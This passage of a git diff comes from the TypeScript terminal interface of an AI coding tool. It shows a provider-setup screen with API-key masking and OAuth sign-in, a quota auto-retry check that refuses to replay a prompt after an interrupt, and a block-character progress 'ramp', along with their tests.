listSlots) listBox.add(row) + + const inputFrame = new BoxRenderable(renderer, { + id: "provider-setup-input-frame", + width: "100%", + height: 3, + flexShrink: 0, + border: true, + borderColor: UI.textFaint, + focusedBorderColor: UI.inFlight, + backgroundColor: UI.ground, + paddingLeft: 1, + paddingRight: 1, + }) + const input = new InputRenderable(renderer, { + id: "provider-setup-input", + width: "100%", + maxLength: FIELD_MAX_LENGTH, + placeholder: PROVIDER_FIELD_HINTS.apiKey, + backgroundColor: UI.ground, + focusedBackgroundColor: UI.ground, + textColor: UI.text, + cursorColor: UI.text, + placeholderColor: UI.textFaint, + }) + inputFrame.add(input) + + const loginBox = new BoxRenderable(renderer, { + id: "provider-setup-login", + width: "100%", + flexDirection: "column", + flexShrink: 0, + paddingTop: 1, + backgroundColor: UI.ground, + visible: false, + }) + const loginSlots = Array.from( + { length: LOGIN_ROWS }, + (_, i) => + new TextRenderable(renderer, { + id: `provider-setup-login-${String(i)}`, + content: "", + fg: UI.textDim, + }), + ) + for (const row of loginSlots) loginBox.add(row) + + const statusLine = new TextRenderable(renderer, { + id: "provider-setup-status", + content: "", + fg: UI.textDim, + }) + const guidance = new TextRenderable(renderer, { + id: "provider-setup-guidance", + content: "", + fg: UI.textDim, + }) + const telemetry = new BoxRenderable(renderer, { + id: "provider-setup-telemetry", + width: "100%", + flexDirection: "column", + flexShrink: 0, + paddingTop: 1, + backgroundColor: UI.ground, + visible: config.showTelemetryNotice, + }) + const telemetrySlots = Array.from( + { length: TELEMETRY_ROWS }, + (_, i) => + new TextRenderable(renderer, { + id: `provider-setup-telemetry-${String(i)}`, + content: "", + // A disclosure, not fine print: body emphasis, above the footer. + fg: UI.text, + }), + ) + for (const row of telemetrySlots) telemetry.add(row) + if (config.showTelemetryNotice) { + const width = Math.max(20, (renderer.width || 80) - margin * 2) + const lines = wrapLines(TELEMETRY_NOTICE, width).slice(0, TELEMETRY_ROWS) + lines.forEach((line, i) => { + const slot = telemetrySlots[i] + if (slot !== undefined) slot.content = line + }) + } + + const footer = new TextRenderable(renderer, { + id: "provider-setup-footer", + content: "", + fg: UI.textFaint, + }) + + root.add(header) + root.add(intro) + root.add(step) + root.add(instruction) + root.add(summary) + root.add(listBox) + root.add(loginBox) + root.add(inputFrame) + root.add(statusLine) + root.add(guidance) + root.add(telemetry) + root.add(footer) + renderer.root.add(root) + + const paintSummary = (): void => { + const rows = summaryRows(steps(), stepIndex, values, choice) + summarySlots.forEach((slot, i) => { + const row = rows[i] + if (row === undefined) { + slot.content = "" + slot.visible = false + return + } + slot.visible = true + slot.content = summaryLine(row) + slot.fg = summaryColor(row) + }) + } + + const paintList = (): void => { + const showList = isListStep() && !submitting + listBox.visible = showList + if (!showList) { + for (const slot of listSlots) { + slot.content = "" + slot.visible = false + } + return + } + const slice = visibleSlice(list) + listSlots.forEach((slot, i) => { + const index = slice.start + i + const row = index < slice.end ? listRows[index] : undefined + if (row === undefined) { + slot.content = "" + slot.visible = false + return + } + const active = index === slice.activeIndex + slot.visible = true + slot.content = ` ${active ? ">" : " "} ${row.label}` + slot.fg = active ? UI.text : UI.textDim + }) + } + + const isLoginStep = (): boolean => currentStep() === "login" + + const paintLogin = (): void => { + const show = isLoginStep() && !submitting + loginBox.visible = show + const width = Math.max(20, (renderer.width || 80) - margin * 2) + const lines: string[] = + !show || loginURL === null + ? [] + : ["open this url to authorize:", ...wrapLines(loginURL, width)] + loginSlots.forEach((slot, i) => { + const line = lines[i] + if (line === undefined) { + slot.content = "" + slot.visible = false + return + } + slot.visible = true + slot.content = line + // The url is the one thing to act on here, so it reads above chrome. + slot.fg = i === 0 ? UI.textDim : UI.inFlightBright + }) + } + + const paintStatus = (): void => { + if (!submitting && isLoginStep()) { + if (loginStatus === "failed") { + const ramp = rampFor({ phase: "blocked", nowMs: 0 }) + statusLine.content = rampLine(ramp, (loginError ?? "").toLowerCase()) + statusLine.fg = ramp.fg + guidance.content = loginGuidance() + guidance.fg = UI.textDim + return + } + if (loginStatus === "done") { + const ramp = rampFor({ phase: "done", nowMs: 0 }) + statusLine.content = rampLine( + ramp, + `signed in as ${loginResult?.providerName ?? DEFAULT_OAUTH_PROFILE}`, + ) + statusLine.fg = ramp.fg + guidance.content = "enter to pick a model" + guidance.fg = UI.textDim + return + } + const ramp = rampFor({ phase: "working", nowMs: Date.now() }) + statusLine.content = rampLine(ramp, LOGIN_WAITING_LABEL) + statusLine.fg = ramp.fg + guidance.content = "the browser should have opened — paste the url if not" + guidance.fg = UI.textDim + return + } + if (!submitting && loginCancelled) { + const ramp = rampFor({ phase: "blocked", nowMs: 0 }) + statusLine.content = rampLine(ramp, LOGIN_CANCELLED_MESSAGE) + statusLine.fg = ramp.fg + guidance.content = loginCancelGuidance() + guidance.fg = UI.textDim + return + } + if (submitting) { + const ramp = rampFor({ phase: "working", nowMs: Date.now() }) + statusLine.content = rampLine(ramp, SUBMIT_PHASE_LABEL[submitPhase]) + statusLine.fg = ramp.fg + guidance.content = "" + return + } + if (submitError !== null) { + const ramp = rampFor({ phase: "blocked", nowMs: 0 }) + statusLine.content = rampLine(ramp, submitError.toLowerCase()) + statusLine.fg = ramp.fg + guidance.content = failureGuidance(submitPhase, choice) + guidance.fg = UI.textDim + return + } + statusLine.content = "" + guidance.content = "" + } + + const paintFooter = (): void => { + if (submitting) { + footer.content = "ctrl+c cancel" + return + } + if (isLoginStep()) { + footer.content = + loginStatus === "failed" + ? "enter retry · esc back · ctrl+c cancel" + : loginStatus === "done" + ? "enter continue · esc back · ctrl+c cancel" + : "esc cancel sign-in · ctrl+c quit" + return + } + footer.content = isListStep() + ? "↑↓ move · enter choose · ctrl+c cancel" + : stepIndex === 0 + ? "enter confirm · ctrl+c cancel" + : "enter confirm · esc back · ctrl+c cancel" + } + + const paint = (): void => { + const active = currentStep() + step.content = stepHeadline(steps(), stepIndex) + instruction.content = STEP_PROMPTS[active] + paintSummary() + paintList() + paintLogin() + const showInput = !isListStep() && !isLoginStep() && !submitting + inputFrame.visible = showInput + input.visible = showInput + paintStatus() + paintFooter() + } + + const showStep = (): void => { + const active = currentStep() + if (isListStep() || isLoginStep()) { + input.blur() + paint() + // Arriving on the sign-in step is the trigger: there is nothing to type, + // so the flow starts itself rather than waiting for a keystroke. + if (isLoginStep() && loginStatus === "idle") beginLogin() + return + } + const field = active as ProviderField + input.placeholder = PROVIDER_FIELD_HINTS[field] + input.value = field === "apiKey" ? maskEcho(values.apiKey) : values[field] + // Paint first: focus is refused while the input is still hidden. + paint() + input.focus() + } + + let settled = false + let resolveDone: (submitted: boolean) => void = () => {} + const done = new Promise((resolve) => { + resolveDone = resolve + }) + + const stopRamp = (): void => { + if (rampTimer === null) return + clearInterval(rampTimer) + rampTimer = null + } + + const teardown = (): void => { + stopRamp() + abandonLogin() + renderer.keyInput.off("keypress", onKey) + input.off(InputRenderableEvents.ENTER, onEnter) + input.off(InputRenderableEvents.INPUT, onInput) + try { + renderer.root.remove(root) + destroySubtree(root) + } catch { + // already unmounted + } + try { + renderer.destroy() + } catch { + // already destroyed + } + } + + const settle = (submitted: boolean): void => { + if (settled) return + settled = true + teardown() + resolveDone(submitted) + } + + const clearError = (): void => { + submitError = null + saveAnywayOffered = false + loginCancelled = false + } + + const clearLoginTimer = (): void => { + if (loginTimer === null) return + clearTimeout(loginTimer) + loginTimer = null + } + + /** + * Drop whatever attempt is in flight: stop its deadline, close its callback + * server, and bump the attempt counter so a late resolution is ignored. + */ + const abandonLogin = (): void => { + loginAttempt += 1 + clearLoginTimer() + loginAbort?.abort() + loginAbort = null + loginHandle?.cancel() + loginHandle = null + } + + /** Denial, transport failure, or the deadline — all land the operator here. */ + const failLogin = (attempt: number, message: string): void => { + if (attempt !== loginAttempt) return + abandonLogin() + stopRamp() + loginStatus = "failed" + loginError = message + loginURL = null + paint() + } + + const finishLogin = ( + attempt: number, + kind: OAuthKind, + profile: string, + ): void => { + if (attempt !== loginAttempt) return + clearLoginTimer() + loginHandle = null + loginAbort = null + stopRamp() + loginStatus = "done" + loginError = null + // The token is already on disk in the auth store; from here the surface + // carries only the selection. + const result = { kind, profile, providerName: oauthProviderName(kind, profile) } + loginResult = result + values.name = result.providerName + values.apiKey = "" + stepIndex += 1 + if (isListStep()) enterModelList() + showStep() + } + + const beginLogin = (): void => { + const kind = choice?.oauth ?? null + if (kind === null) return + abandonLogin() + const attempt = loginAttempt + loginStatus = "pending" + loginError = null + loginURL = null + loginCancelled = false + const abort = new AbortController() + loginAbort = abort + // A browser round-trip that never comes back must still give the screen + // back, so the deadline is armed before the flow is even started. + loginTimer = setTimeout(() => { + failLogin(attempt, LOGIN_TIMEOUT_MESSAGE) + }, loginTimeoutMs) + stopRamp() + rampTimer = setInterval(paintStatus, RAMP_TICK_MS) + paint() + + startLogin({ kind, profile: DEFAULT_OAUTH_PROFILE, signal: abort.signal }).then( + (handle) => { + if (attempt !== loginAttempt) { + handle.cancel() + return + } + loginHandle = handle + loginURL = handle.authorizeUrl + paint() + handle.completed.then( + (result) => { + finishLogin(attempt, kind, result.profile) + }, + (err: unknown) => { + failLogin(attempt, err instanceof Error ? err.message : String(err)) + }, + ) + }, + (err: unknown) => { + failLogin(attempt, err instanceof Error ? err.message : String(err)) + }, + ) + } + + /** Abandon an outstanding sign-in and return to the provider list. */ + const cancelLogin = (): void => { + const wasPending = loginStatus === "pending" + abandonLogin() + stopRamp() + loginStatus = "idle" + loginURL = null + loginError = null + loginResult = null + back() + loginCancelled = wasPending + paint() + } + + const submit = (skipValidation: boolean): void => { + submitting = true + submitPhase = "testing" + clearError() + paint() + stopRamp() + rampTimer = setInterval(paintStatus, RAMP_TICK_MS) + + // Track the phase locally so the rejection handler knows whether the + // failure happened during the connection test (retryable and bypassable) + // or during the settings write. + let phase: SubmitPhase = "testing" + const setPhase = (p: SubmitPhase): void => { + phase = p + submitPhase = p + paint() + } + + const preset: ProviderPreset | undefined = + choice !== null && !choice.custom + ? { + id: choice.id, + models: choice.models, + anthropic: choice.anthropic, + opencodeGo: choice.opencodeGo, + } + : undefined + + config + .onSubmit(values, setPhase, { + skipValidation, + ...(preset !== undefined ? { preset } : {}), + ...(loginResult !== null ? { oauth: loginResult } : {}), + }) + .then( + () => settle(true), + (err: unknown) => { + stopRamp() + submitting = false + submitPhase = phase + submitError = err instanceof Error ? err.message : String(err) + saveAnywayOffered = phase === "testing" + paint() + }, + ) + } + + const chooseProvider = (id: string): void => { + const picked = providerChoiceById(id) + if (picked === undefined) return + choice = picked + typedModel = false + if (picked.custom) { + values.name = "" + values.baseURL = "" + values.model = "" + } else { + values.name = picked.id + values.baseURL = picked.baseURL + values.model = picked.defaultModel + } + stepIndex += 1 + if (isListStep()) enterModelList() + } + + const enterModelList = (): void => { + if (choice === null) return + listRows = modelChoiceRows(choice) + const active = Math.max( + 0, + listRows.findIndex((row) => modelFromRowId(choice?.id ?? "", row.id) === values.model), + ) + list = createListViewport({ + count: listRows.length, + height: listHeight(), + activeIndex: active, + }) + } + + const enterProviderList = (): void => { + listRows = providerChoiceRows(choices) + const active = Math.max( + 0, + listRows.findIndex((row) => row.id === choice?.id), + ) + list = createListViewport({ + count: listRows.length, + height: listHeight(), + activeIndex: active, + }) + } + + const acceptListRow = (): void => { + const { itemIds } = residualListFromCatalog(listRows) + const id = residualIdFromSelection({ index: list.activeIndex }, itemIds) + if (id === undefined) return + clearError() + if (currentStep() === "provider") { + chooseProvider(id) + showStep() + return + } + if (id === TYPE_MODEL_ID) { + typedModel = true + values.model = "" + showStep() + return + } + values.model = modelFromRowId(choice?.id ?? "", id) + submit(false) + } + + const advance = (): void => { + if (isListStep()) { + acceptListRow() + return + } + if (isLoginStep()) { + if (loginStatus === "done") { + stepIndex += 1 + if (isListStep()) enterModelList() + showStep() + return + } + // A pending sign-in has nothing to confirm; a failed one retries. + if (loginStatus !== "pending") beginLogin() + return + } + const field = currentStep() as ProviderField + if (!stepReady(field, values[field])) return + + if (stepIndex < steps().length - 1) { + stepIndex += 1 + clearError() + if (isListStep()) enterModelList() + showStep() + return + } + submit(false) + } + + const back = (): void => { + if (stepIndex === 0) return + stepIndex -= 1 + clearError() + if (currentStep() === "provider") enterProviderList() + else if (isListStep()) enterModelList() + showStep() + } + + function onInput(next: string): void { + if (submitting || isListStep()) return + const field = currentStep() as ProviderField + if (field === "apiKey") { + values.apiKey = secretFromMaskedEdit(values.apiKey, next) + const masked = maskEcho(values.apiKey) + if (input.value !== masked) input.value = masked + } else { + values[field] = next + } + if (submitError !== null) { + clearError() + paint() + } + } + + function onEnter(): void { + if (submitting) return + advance() + } + + function onKey(key: KeyEvent): void { + if (settled) return + if (key.ctrl === true && (key.name === "c" || key.name === "d")) { + key.preventDefault() + settle(false) + return + } + if (submitting) { + key.preventDefault() + return + } + if (key.ctrl === true && key.name === "s") { + if (!saveAnywayOffered) return + key.preventDefault() + submit(true) + return + } + if (key.name === "escape") { + key.preventDefault() + if (isLoginStep()) cancelLogin() + else back() + return + } + if (isLoginStep()) { + if (key.name === "return" || key.name === "enter") { + key.preventDefault() + advance() + } + return + } + if (!isListStep()) return + + if (key.name === "up" || key.name === "k") { + key.preventDefault() + list = moveActive(list, -1) + paint() + return + } + if (key.name === "down" || key.name === "j") { + key.preventDefault() + list = moveActive(list, 1) + paint() + return + } + if (key.name === "return" || key.name === "enter") { + key.preventDefault() + advance() + } + } + + input.on(InputRenderableEvents.ENTER, onEnter) + input.on(InputRenderableEvents.INPUT, onInput) + renderer.keyInput.on("keypress", onKey) + showStep() + + return done +} diff --git a/src/tui/quota-retry.test.ts b/src/tui-opentui/quota-retry.test.ts similarity index 67% rename from src/tui/quota-retry.test.ts rename to src/tui-opentui/quota-retry.test.ts index e1c876acb..788611e0e 100644 --- a/src/tui/quota-retry.test.ts +++ b/src/tui-opentui/quota-retry.test.ts @@ -1,6 +1,6 @@ -import { describe, test, expect } from "bun:test"; +import { describe, test, expect } from "bun:test" -import { shouldAutoRetryQuota } from "./quota-retry"; +import { quotaWaitSeconds, shouldAutoRetryQuota } from "./quota-retry.js" describe("shouldAutoRetryQuota", () => { const base = { @@ -8,28 +8,35 @@ describe("shouldAutoRetryQuota", () => { alreadyFired: false, nowMs: 2_000, lastSentMessage: "run the build", - }; + } test("retries once the window has elapsed and a prompt is pending", () => { - expect(shouldAutoRetryQuota(base)).toBe(true); - }); + expect(shouldAutoRetryQuota(base)).toBe(true) + }) test("does not retry before the retry-after window", () => { - expect(shouldAutoRetryQuota({ ...base, nowMs: 500 })).toBe(false); - }); + expect(shouldAutoRetryQuota({ ...base, nowMs: 500 })).toBe(false) + }) test("does not retry when there is no quota error", () => { - expect(shouldAutoRetryQuota({ ...base, quotaError: null })).toBe(false); - }); + expect(shouldAutoRetryQuota({ ...base, quotaError: null })).toBe(false) + }) test("does not retry when the guard has already fired", () => { - expect(shouldAutoRetryQuota({ ...base, alreadyFired: true })).toBe(false); - }); + expect(shouldAutoRetryQuota({ ...base, alreadyFired: true })).toBe(false) + }) // Regression guard: an interrupt clears the last-sent prompt so a // stopped turn is never silently replayed by the quota auto-retry loop. test("does not replay a cleared last-sent message after an interrupt", () => { - expect(shouldAutoRetryQuota({ ...base, lastSentMessage: "" })).toBe(false); - expect(shouldAutoRetryQuota({ ...base, lastSentMessage: " " })).toBe(false); - }); -}); + expect(shouldAutoRetryQuota({ ...base, lastSentMessage: "" })).toBe(false) + expect(shouldAutoRetryQuota({ ...base, lastSentMessage: " " })).toBe(false) + }) +}) + +describe("quotaWaitSeconds", () => { + test("rounds up and never goes negative", () => { + expect(quotaWaitSeconds(10_500, 8_000)).toBe(3) + expect(quotaWaitSeconds(1_000, 9_000)).toBe(0) + }) +}) diff --git a/src/tui-opentui/quota-retry.ts b/src/tui-opentui/quota-retry.ts new file mode 100644 index 000000000..98187f743 --- /dev/null +++ b/src/tui-opentui/quota-retry.ts @@ -0,0 +1,25 @@ +// Decision for the quota auto-retry loop: after a provider rate-limit error the +// TUI polls and resubmits the last prompt once the retry-after window expires. +// An interrupt clears the last-sent prompt, so a blank message here means there +// is nothing legitimate to replay — resubmitting it would silently re-drive a +// turn the operator already stopped, duplicating its tool executions. + +export type QuotaRetryDecisionInput = { + readonly quotaError: { readonly retryAt: number } | null + readonly alreadyFired: boolean + readonly nowMs: number + readonly lastSentMessage: string +} + +export function shouldAutoRetryQuota(input: QuotaRetryDecisionInput): boolean { + if (input.quotaError === null) return false + if (input.alreadyFired) return false + if (input.nowMs < input.quotaError.retryAt) return false + if (input.lastSentMessage.trim().length === 0) return false + return true +} + +/** Seconds still to wait, for the status line. Never negative. */ +export function quotaWaitSeconds(retryAt: number, nowMs: number): number { + return Math.max(0, Math.ceil((retryAt - nowMs) / 1000)) +} diff --git a/src/tui-opentui/ramp-paint.test.ts b/src/tui-opentui/ramp-paint.test.ts new file mode 100644 index 000000000..4bfbc3e24 --- /dev/null +++ b/src/tui-opentui/ramp-paint.test.ts @@ -0,0 +1,151 @@ +/** + * The density ramp is the activity primitive: a running turn must paint block + * glyphs, and no braille spinner may survive anywhere in the frame. + */ + +import { describe, expect, test } from "bun:test" + +import { withTestRenderer } from "./harness" +import { RAMP_CYCLE_MS } from "./ramp" +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge" +import { createAppShell } from "./shell" +import { UI } from "./theme" + +const BRAILLE = /[⠀-⣿]/ +const DENSITY = /[░▒▓█]/ + +/** Drives the bridge monitor tick by hand so the ramp animates deterministically. */ +function fakeMonitor(): { + readonly monitor: { + now: () => number + tickMs: number + schedule: (tick: () => void, intervalMs: number) => () => void + } + advance: (ms: number) => void +} { + let clock = 0 + let ticker: (() => void) | null = null + return { + monitor: { + now: () => clock, + tickMs: 250, + schedule: (tick) => { + ticker = tick + return () => { + ticker = null + } + }, + }, + advance: (ms) => { + clock += ms + ticker?.() + }, + } +} + +describe("turn ramp paint", () => { + test("a running turn names its phase, and never a braille spinner", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "run", state: "busy" }) + await h.renderOnce() + + // The border's bottom-left slot carries the running state as a + // word. The ramp that used to sit beside it was a second animation + // saying the same thing, and the context reading is a plain percent. + expect(shell.turnPhase).not.toBeNull() + expect(shell.turnPhase).toContain("working") + + const frame = h.captureCharFrame() + expect(frame).toContain("working") + expect(frame).not.toMatch(BRAILLE) + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("the ramp animates off the monitor tick, with no timer of its own", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor, advance } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "run", state: "busy" }) + const first = shell.turnPhase + advance(RAMP_CYCLE_MS / 2) + expect(shell.turnPhase).not.toBe(first) + expect(shell.turnPhase).toMatch(DENSITY) + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) + + test("an idle turn clears the ramp entirely", async () => { + await withTestRenderer( + async (h) => { + const shell = createAppShell(h.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + const { monitor } = fakeMonitor() + const bridge = attachSessionBridge(shell, createRecordingPort(), monitor) + try { + bridge.handle({ type: "run", state: "busy" }) + bridge.handle({ type: "run", state: "idle" }) + expect(shell.turnPhase).toBeNull() + } finally { + bridge.dispose() + } + }, + { width: 80, height: 24 }, + ) + }) +}) + +describe("palette", () => { + test("no gray sits on the ground — every tone keeps a warm bias", () => { + for (const [role, hex] of Object.entries(UI)) { + if (role === "name") continue + const r = Number.parseInt(hex.slice(1, 3), 16) + const b = Number.parseInt(hex.slice(5, 7), 16) + expect(r).toBeGreaterThan(b) + } + }) + + test("chrome stays below the action orange so orange still reads as an event", () => { + const action = saturation(UI.action) + for (const hex of [UI.inFlight, UI.inFlightBright, UI.heading]) { + expect(saturation(hex)).toBeLessThan(action) + } + }) +}) + +/** HSL saturation, 0..1 — the axis the chrome ramp is held below action orange on. */ +function saturation(hex: string): number { + const channels = [1, 3, 5].map((i) => Number.parseInt(hex.slice(i, i + 2), 16) / 255) + const max = Math.max(...channels) + const min = Math.min(...channels) + if (max === min) return 0 + const lightness = (max + min) / 2 + return (max - min) / (lightness > 0.5 ? 2 - max - min : max + min) +} diff --git a/src/tui-opentui/ramp.test.ts b/src/tui-opentui/ramp.test.ts new file mode 100644 index 000000000..f3d057dc5 --- /dev/null +++ b/src/tui-opentui/ramp.test.ts @@ -0,0 +1,135 @@ +import { describe, expect, test } from "bun:test" + +import { + RAMP_CYCLE_MS, + RAMP_WIDTH, + rampFor, + rampLine, + renderIndeterminateRamp, + renderRamp, +} from "./ramp" +import { UI } from "./theme" + +const BRAILLE = /[⠀-⣿]/ + +describe("renderRamp", () => { + test("is always the requested width", () => { + for (const p of [0, 0.13, 0.5, 0.77, 1]) { + expect(renderRamp(p).length).toBe(RAMP_WIDTH) + } + }) + + test("empty at zero", () => { + expect(renderRamp(0)).toBe("▓▒░ ") + }) + + test("feathers the leading edge mid-fill", () => { + expect(renderRamp(0.7)).toBe("███████▓▒░") + }) + + test("a complete ramp is solid", () => { + expect(renderRamp(1)).toBe("██████████") + }) + + test("clamps out-of-range and non-finite progress", () => { + expect(renderRamp(5)).toBe("██████████") + expect(renderRamp(-1)).toBe(renderRamp(0)) + expect(renderRamp(Number.NaN)).toBe(renderRamp(0)) + }) + + test("honors a custom width", () => { + expect(renderRamp(1, 4)).toBe("████") + expect(renderRamp(0.5, 0)).toBe("") + }) +}) + +describe("renderIndeterminateRamp", () => { + test("is always the requested width", () => { + for (let t = 0; t < RAMP_CYCLE_MS; t += 97) { + expect(renderIndeterminateRamp(t).length).toBe(RAMP_WIDTH) + } + }) + + test("the comet travels left to right", () => { + const early = renderIndeterminateRamp(0) + const later = renderIndeterminateRamp(RAMP_CYCLE_MS / 2) + expect(early.indexOf("█")).toBeLessThan(later.indexOf("█")) + }) + + test("wraps on the cycle", () => { + expect(renderIndeterminateRamp(RAMP_CYCLE_MS + 40)).toBe( + renderIndeterminateRamp(40), + ) + }) + + test("never fakes a completed ramp", () => { + for (let t = 0; t < RAMP_CYCLE_MS; t += 13) { + expect(renderIndeterminateRamp(t)).not.toBe("██████████") + } + }) +}) + +describe("rampFor", () => { + test("working animates in the in-flight bronze", () => { + const ramp = rampFor({ phase: "working", nowMs: 0 }) + expect(ramp.fg).toBe(UI.inFlight) + expect(ramp.animating).toBe(true) + }) + + test("working advances with the clock", () => { + const a = rampFor({ phase: "working", nowMs: 0 }) + const b = rampFor({ phase: "working", nowMs: RAMP_CYCLE_MS / 2 }) + expect(a.cells).not.toBe(b.cells) + }) + + test("working with known progress fills rather than travels", () => { + expect(rampFor({ phase: "working", nowMs: 0, progress: 0.7 }).cells).toBe( + "███████▓▒░", + ) + }) + + test("done is solid Ridge Green and stops animating", () => { + const ramp = rampFor({ phase: "done", nowMs: 12_345 }) + expect(ramp.cells).toBe("██████████") + expect(ramp.fg).toBe(UI.done) + expect(ramp.animating).toBe(false) + }) + + test("done ignores the clock", () => { + expect(rampFor({ phase: "done", nowMs: 0 }).cells).toBe( + rampFor({ phase: "done", nowMs: 99_999 }).cells, + ) + }) + + test("blocked freezes mid-fill in Breakthrough Orange", () => { + const ramp = rampFor({ phase: "blocked", nowMs: 0 }) + expect(ramp.fg).toBe(UI.action) + expect(ramp.animating).toBe(false) + expect(ramp.cells).toContain("█") + expect(ramp.cells).not.toBe("██████████") + }) + + test("blocked ignores the clock", () => { + expect(rampFor({ phase: "blocked", nowMs: 500 }).cells).toBe( + rampFor({ phase: "blocked", nowMs: 900_000 }).cells, + ) + }) + + test("no phase emits a braille spinner glyph", () => { + for (const phase of ["working", "done", "blocked"] as const) { + expect(rampFor({ phase, nowMs: 400 }).cells).not.toMatch(BRAILLE) + } + }) +}) + +describe("rampLine", () => { + test("composes ramp, lowercase label and elapsed seconds", () => { + const ramp = rampFor({ phase: "working", nowMs: 0, progress: 0.7 }) + expect(rampLine(ramp, "working", 14_400)).toBe("███████▓▒░ working · 14s") + }) + + test("omits elapsed when unknown", () => { + const ramp = rampFor({ phase: "done", nowMs: 0 }) + expect(rampLine(ramp, "done")).toBe("██████████ done") + }) +}) diff --git a/src/tui-opentui/ramp.ts b/src/tui-opentui/ramp.ts new file mode 100644 index 000000000..ea68edfea --- /dev/null +++ b/src/tui-opentui/ramp.ts @@ -0,0 +1,143 @@ +/** + * Density ramp — the activity primitive, replacing the braille spinner. + * + * corbits.dev renders an ordered dither at a 4-pixel cell; a terminal has that + * texture natively as block-density characters, so the house motif ports rather + * than being approximated. The ramp fills left to right and its *color and + * motion* carry the state, not a text label: + * + * working ███████▓▒░ blue, animating + * done ██████████ green, still + * blocked █████▓▒░ orange, frozen mid-fill + * + * Pure and clock-injected: `nowMs` is the only time source, so the caller's + * existing tick drives the animation and tests drive it deterministically. + */ + +import { UI } from "./theme.js" + +/** + * Ten cells. Narrow enough to read as texture rather than implying a precision + * the underlying work does not have. + */ +export const RAMP_WIDTH = 10 + +/** Densest to sparsest. Index is distance behind the leading edge. */ +const FEATHER = ["█", "▓", "▒", "░"] as const +const SOLID = FEATHER[0] +const EMPTY = " " + +/** Cells the comet occupies in the indeterminate ramp, head included. */ +const COMET_LENGTH = FEATHER.length + +/** + * One full traversal of the indeterminate comet. Slow enough to read as + * deliberate motion rather than a strobe at the 250 ms status tick. + */ +export const RAMP_CYCLE_MS = 1200 + +/** Where a blocked ramp freezes when the caller has no real progress. */ +const BLOCKED_DEFAULT_PROGRESS = 0.5 + +function clamp01(value: number): number { + if (!Number.isFinite(value)) return 0 + if (value < 0) return 0 + if (value > 1) return 1 + return value +} + +/** + * Determinate fill: solid cells up to `progress`, then a short dither feather + * at the leading edge so the boundary reads as texture instead of a hard stop. + * A full ramp is entirely solid. + */ +export function renderRamp(progress: number, width = RAMP_WIDTH): string { + if (width <= 0) return "" + const filled = Math.floor(clamp01(progress) * width) + let out = "" + for (let i = 0; i < width; i++) { + const behindEdge = i - filled + out += behindEdge < 0 ? SOLID : (FEATHER[behindEdge + 1] ?? EMPTY) + } + return out +} + +/** + * Indeterminate fill: a comet traveling left to right and wrapping. Most coding + * work has no denominator, so this animates rather than faking a percentage. + */ +export function renderIndeterminateRamp( + nowMs: number, + width = RAMP_WIDTH, +): string { + if (width <= 0) return "" + const span = width + COMET_LENGTH + const phase = ((nowMs % RAMP_CYCLE_MS) + RAMP_CYCLE_MS) % RAMP_CYCLE_MS + const head = Math.floor((phase / RAMP_CYCLE_MS) * span) + let out = "" + for (let i = 0; i < width; i++) { + const behindHead = head - i + out += + behindHead < 0 ? EMPTY : (FEATHER[behindHead] ?? EMPTY) + } + return out +} + +export type RampPhase = "working" | "done" | "blocked" + +export type RampInput = { + readonly phase: RampPhase + readonly nowMs: number + /** Omit when the work has no denominator — the ramp animates instead. */ + readonly progress?: number + readonly width?: number +} + +export type Ramp = { + readonly cells: string + readonly fg: string + /** False when the ramp is a terminal state and must hold still. */ + readonly animating: boolean +} + +/** Resolve the ramp's glyphs, color and motion from the turn phase. */ +export function rampFor(input: RampInput): Ramp { + const width = input.width ?? RAMP_WIDTH + + if (input.phase === "done") { + return { cells: SOLID.repeat(width), fg: UI.done, animating: false } + } + + if (input.phase === "blocked") { + return { + cells: renderRamp(input.progress ?? BLOCKED_DEFAULT_PROGRESS, width), + fg: UI.action, + animating: false, + } + } + + return input.progress === undefined + ? { + cells: renderIndeterminateRamp(input.nowMs, width), + fg: UI.inFlight, + animating: true, + } + : { + cells: renderRamp(input.progress, width), + fg: UI.inFlight, + animating: true, + } +} + +/** `███████▓▒░ working · 14s` — ramp, lowercase label, optional elapsed. */ +export function rampLine( + ramp: Ramp, + label: string, + elapsedMs?: number, +): string { + const elapsed = + elapsedMs === undefined || elapsedMs < 0 + ? "" + : ` · ${Math.floor(elapsedMs / 1000)}s` + return `${ramp.cells} ${label}${elapsed}` +} diff --git a/src/tui-opentui/reasoning-fold.test.ts b/src/tui-opentui/reasoning-fold.test.ts new file mode 100644 index 000000000..4548682cf --- /dev/null +++ b/src/tui-opentui/reasoning-fold.test.ts @@ -0,0 +1,136 @@ +/** + * A turn's reasoning is one row. + * + * The model stops to think between tool calls, and each of those stops used to + * open a row of its own — fragments of half-sentences breaking up a run of tool + * rows that reads as one piece of work. They fold into the row the turn already + * opened instead, which keeps every word reachable behind the expand key. + */ + +import { afterAll, beforeAll, describe, expect, test } from "bun:test" + +import { attachSessionBridge, createRecordingPort } from "./runtime-bridge.js" +import { createHarness, type Harness } from "./harness.js" +import { createAppShell, toggleCollapsedRow } from "./shell.js" +import { isThinkingRow, rowGroupGap, type StreamRow } from "./stream.js" + +type Bridge = ReturnType +type Shell = ReturnType + +// One renderer, one shell, one bridge for the file. Scenarios are separated by +// the thing under test — a turn boundary — rather than by a fresh surface each +// time, which would hold native handles the suite as a whole is short of. +let harness: Harness +let shell: Shell +let bridge: Bridge +let mark = 0 + +beforeAll(async () => { + harness = await createHarness({ width: 80, height: 24 }) + shell = createAppShell(harness.renderer, { + terminal: { columns: 80, rows: 24 }, + wireKeys: false, + run: "idle", + }) + bridge = attachSessionBridge(shell, createRecordingPort()) +}) + +afterAll(() => { + bridge.dispose() + shell.dispose() + harness.destroy() +}) + +/** Open a turn, and forget every row before it. */ +function prompt(text: string): void { + mark = shell.streamLog.length + bridge.handle({ type: "message.received", data: { message: { content: text } } }) +} + +/** Rows this turn appended. */ +function rows(): readonly 